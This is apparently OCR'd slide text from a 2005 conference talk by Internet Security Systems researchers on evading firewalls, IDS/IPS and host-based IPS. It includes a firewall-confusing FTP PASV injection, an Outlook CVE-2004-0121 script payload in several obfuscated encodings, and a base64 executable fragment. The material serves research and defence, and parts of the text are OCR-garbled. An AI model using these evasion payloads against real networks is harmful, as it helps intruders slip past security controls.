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#1 Architecture Flaw

Why do | care?
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Network
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Network Architecture Flaws
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Firewall

Runs as inline device
Inspects each packet as it comes in

Stateful inspection opens temporary ports for
applications
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Example FTP session

Response to PASV command tells firewall to open up a
new port

220 ftp.example.com FTP server (Version wu-2.6.2(1) Fri May 17
16:360:20 EDT 2002) re

USER anonymous

331 Guest login ok, send your complete e-mail address as
password.

PASS Mozilla@

230 Greetings!

PASV

221 Entering Passive Mode (192,2,0,155,156,172)

LIST

150 Opening BINARY mode data connection for /bin/ls.

226 Transfer complete.
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Example FTP session

Returns helpful error text

220 ftp.example.com FTP server (Version wu-2.6.2(1) Fri May 17
16:360:20 EDT 2002) re

USER anonymous

331 Guest login ok, send your complete e-mail address as
password.

PASS Mozilla@

230 Greetings!

Mary had a little lamb

500 ‘Mary had a little lamb’: command not understood
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Example FTP session

Cause desired response to come back in two packets
XXXXX

Adjust size of input so that response is in the next packet

220 ftp.example.com FTP server (Version wu-2.6.2(1) Fri May 17
16:360:20 EDT 2002) re

USER anonymous

331 Guest login ok, send your complete e-mail address as
password.

PASS Mozilla(@

230 Greetings!

Mary had a little lamb xxxxxx 227 Entering Passive Mode
(192,2,0,155,156,172)

500 “Mary had a little lamb xxxxxx 227 Entering Passive Mode
(192,2,0,155,156,172)" : command not understood
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Why this confused firewalls

They are examining only one packet at a time
They have no concept of TCP’s ‘stream’ nature

Carefully constructed input may be invalid from a
‘stream’ point of view, but valid from a ‘packet’ point of
view, and confuse the firewall

Typical stateful-inspection firewall has 100 rules for
opening ports dynamically
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IDS (Intrusion Detection System)

IPS (Intrusion Prevention System)

So-called “application-layer” protection means
“searching packet payload for patterns”

Inspection done mostly on per-packet basis

(® INTERNET SECURITY SYSTEMS®

IDS/IPS




Example: Snort TCP rule

Lots of Snort TCP rule use “depth” and “offset” keywords
These are “packet” depth/offsets, not “stream” depth/offsets

With TCP fragmentation, the depth and the offset within the
packet can be changed, without changing the depth and offset
within the stream.

E.Q.

alert tcp SEXTERNAL_NET any -> SHOME_NET 445 (\
msg:"NETBIOS SMB..."; \
content:"|00|"; depth:1;\
content:"|FF|SMB"; within:4; distance:3; \

e);
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Live Demo: Zotob attack

Snort rule trigger on packet ‘depth’ and ‘offset’

This demonstration will show a minor change to the
Zotob exploit that changes the ‘depth’ and ‘offset’
where Snort looks for patterns

We see that while Snort detects the original exploit, it
misses the changed one that takes advantage of TCP
streaming

Conclusion: ‘depth’ and ‘offset’ have no meaning on
TCP, yet they are used heavily to write Snort rules.
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Application-layer parsing

CVE-2004-0121 — Outlook allows arbitrary command
execution
<htmlI> <body>

<img src="mailto:aa&quot; /select javascript:alert('vulnerable')">
</body> </html|>
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oy

Date: Wed, 29 Jun 2005 22:53:41 GM
Server: Apache/1.3.20 (Unix) PHP/4.0.6

Last-Modified: Wed, 29 Jun 2005 22:53:41
GMT

Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Transfer-Encoding:
Content-Type: text/html

5

9 6
:alert
°]
('vulnera
£
ble') ">
</
8
body> </
6
html>

1
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CAN-2004-121(7-bit Unicode)

HTTP/1.1 200 OK

Date: Wed, 29 Jun 2005 22:59:39 GMT

Server: Apache/1.3.20 (Unix) PHP/4.0.6
Last-Modified: Wed, 29 Jun 2005 22:59:39 GMT
Cache-Control: no-cache

Pragma: no-cache

Expires: -1

Content-Length: 145

Content-Type: text/html; charset=utf-7

+ADw-html+AD4 +ADw-body+AD4

:alert ('vulnerable')+ACIAPg
+ADw-/body+AD4 +ADw-/html+AD4
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Al -2004-121 (baseb64 encoded w/ chaff)

HTTP/1.1 200 OK

Date: Wed, 29 Jun 2005 23:05:05 GMT

Server: Apache/1.3.20 (Unix) PHP/4.0.6

Last-Modified: Wed, 29 Jun 2005 23:05:05 GMT
Cache-Control: no-cache

Pragma: no-cache

Expires: -1

Content-Length: 703

Content-Type: message/rfc822; charset=iso-8859-1

From: <Saved by Microsoft Internet Explorer 5>

Subject:

Date:

MIME-Version: 1.0

Content-Type: multipart/related;
boundary="----= NextPart 000_0009_98F1ECBO.631DDD4F";
type="text/html"

X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.5600

This is a multi-part message in MIME format.

= NextPart_000_0009_ 98F1ECBO.631DDD4F
Content-Type: text/html
Content-Transfer-Encoding: base64

P[G;.?hObW_{#w_+% ~&%]I<Dxib!&2$R'5|Pg,”08(;aWlnI:$H ); N'-?>y¥Yz$0i\ (*~? >ph
.& } # . S TT_IC{O(#Qz#.Z_W}xl_Ve& [amE*2VXHNAY} 22475 () $1>_1%
"$pl (hb. \"# '>de!! ~ ‘n[ 1 (m! X #c© V)#"p'IR%J4KP'C9i ~b.:2

JIR5' {P?$i';A 8L *,2)h}0)@bWw_+Cgo=
= NextPart_000_0009 98F1ECBO.631DDD4F--
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CAN-2004-121 (synopsis)

Base64 (with or without; with or without chaffing)
Compression (none, gzip, or deflate)t

Chunked (with or without chaffing)?

Character sett

The above can be combined in thousands of ways
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BAESG64 fragging

Used by some e-mail viruses
Surprisingly effective at evading spam and virus checking

—-—CSmtpMsgPartl123X456 000 OO0A525F4
Content-Type: application/octet-stream;
name="document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="document.pif

TVgQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAAAfugd4AtANNIbgBTMOhVGhpcyBwemOncmEFt IGNhbm5vdCBiZSBydWdgaW4dgRESTIGIv
ZGUuDQOKJAAAAAAAAABSJOhvFudmPBbuJjwW71iY8
1fToPAzuJdjz+8Sw8b0O4mPEDXNTwb71Y8Fudm
PBXuJjwW7ic8hudmPHTxNTwb71Y8/vEtPA3uJjxSaWNoFu4dmPAAAAAAAAAAAUEUAAEWBAWBEkK 9c+
AAAAAAAAAADgAAS8BCWEGAADgAAAAEAAAABABANDYAQAATAEAAAACAAAAQAAAEAAAAATAAAQAAAAA
AAAABAAAAA
AAAAAAEATIAABAAAAAAAAACAAAAAAAQAAAQAAAAARAAARAAAAAAAAAQAAAAAAAAAAAA
AAAAAATAOAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABRDREQwWAAAAAAAQAQAAEAAAAAAAAAAEAAAAAAA
AAAAAAAAAAACAAADgQOREMQAAAAAA
4AAAACABAADWAAAABAAAAAAAAAAAAAAAAAAAQAAA4ENERDIAAAAAABAAAAAAAGAAAGAAANOAAAAA

{; '—'r;\
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Upper Layers vs. Network Layer

Fragmentation happens at all layers
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Zotob again

Zotob runs over MS-RPC, over NamedPipes, over SMB, over NetBIOS,
over TCP, over IP, over ...

Rather than open socket, open null-session
Rather than doing sockets, open a named-pipe over that session

Rather than doing a send on the socket, do a write on the named-pipe

Rather than doing a single write, instead write the traffic one byte at a
time
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Default Snort/2.4.0 config

Meaning

This issue is endemic to all products
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Evasion techniques “in the wild”

Toolkits

Techniques
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Host
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Host based IPS

Runs on host to provide “last line of defense.”
Incorporates NIPS and Firewall like capabilities.
Also may include a myriad of other technologies
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Host based IPS

Generic Buffer overflow detection
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Host based IPS
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How a buffer overflow is caught

The scenario

How API hooking and stack backtracing would detect this.
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How a buffer overflow is caught

What is APl hooking?

(® INTERNET SECURITY SYSTEMS®




How a buffer overflow is caught

How would a sandbox detect this attack?
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How a buffer overflow is caught

What is a Sandbox?
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ou have seen the good, now the bad.

APl Hooking and stack backtracing

http://www.phrack.org/show.php?p=62&a=5
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ou have seen the good, now the bad.
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ou have seen the good, now the bad.

Sandboxes and “virtualizing” instructions

Combinations of protection
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HIPS trigger on the wrong things all the time:

Topic: DZ screensaveris a keylogger!

& posted 06-13-2005 2324 A BF

we have this new "cisco security agent” on our computers at work where I had downloaded the DZ screensaver, Today
the agent comes up and says that my screensaver is a keylogger! ]

I couldn't believe this! I'm not an indescriminate downloader...I only download stuff from sites I know and trust, I can't
believe that USA would put a keylogger on the official Dead Zone screensaver, I feel so betrayed.

I put it on there so that I could "advertise" the Dead Fone when I was away from my computer at work, now I have to
uninstall it I access my bank account almost every day.. there is no telling who out there has my information,

I am so ****ed off.,.I even have yahoo anti spy, and it never came up as any kind of spyware,

What gives USa? Why are you logging our keystrokes with the Dead Zone screensaver? I'm very upset about this, @@
tbut T'Hl still weatch the Dead Zone)

[This message has been edited by lostindustrial {edited 06-13-2005).]
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A zekrit Boing Boing source in Hollywood savs, "A USA network show I used to work on
hasz distributed a screenszaver to fans of the show that secretly lags their keystrokes,"
Link to a discussion board thread in which fans of the show who downloaded the
screensaver discuss this allegation. According to repaorts, the file has since been
rermoved frorm distribution by USA, Anybody out there have a copy of the file, or have
proof whether this iz true ar hoax?

False

Feader cormment: Jog Moore says:

mar i s

I dawnloaded the Seazan 2 screensaver from The Dead Zone show, and found
something strange, I pulled the setup file for the Seazan 3 screensaver
[available here) and ran it through a program called ICY Hesplorer, and saw
something weird, There's a reference in the install file to a parody site of
Marizlevwsiz Gonzalez (Link), who is a cousin of Elian Gonzales, the kid a few
vears ago who was deported back to Cuba. Why was this site in the .EXE file for
the install of The Dead Zone Season 2 screensaver, I have MO idea at allll! Yoo
can zee a screanshot of me having the file open in ICY Hexplorer hare: Link, It
lists the parady website, then her first name, Just strange! Mo idea yvet an if
there's a key logger or not, though.

Update: Dan Kaminsky is one of several Boing Boing readers who've taken a close
loak at the code and zay there is no kevstroke logger within, "Move along, nothing ta
zee hera," savsz Dan.

Special thanks to Dave Maynor of Internet Security Svsterns who completed the
reversal,
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Why did it happen?
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Other problems?

Things to check while testing!
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Other problems?
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Questions:
Rob Graham, Chief Security Officer, ISS

rgraham@iss.net
David Maynor, X-Force® researcher, ISS

dmaynor@iss.net
http://xforce.iss.net
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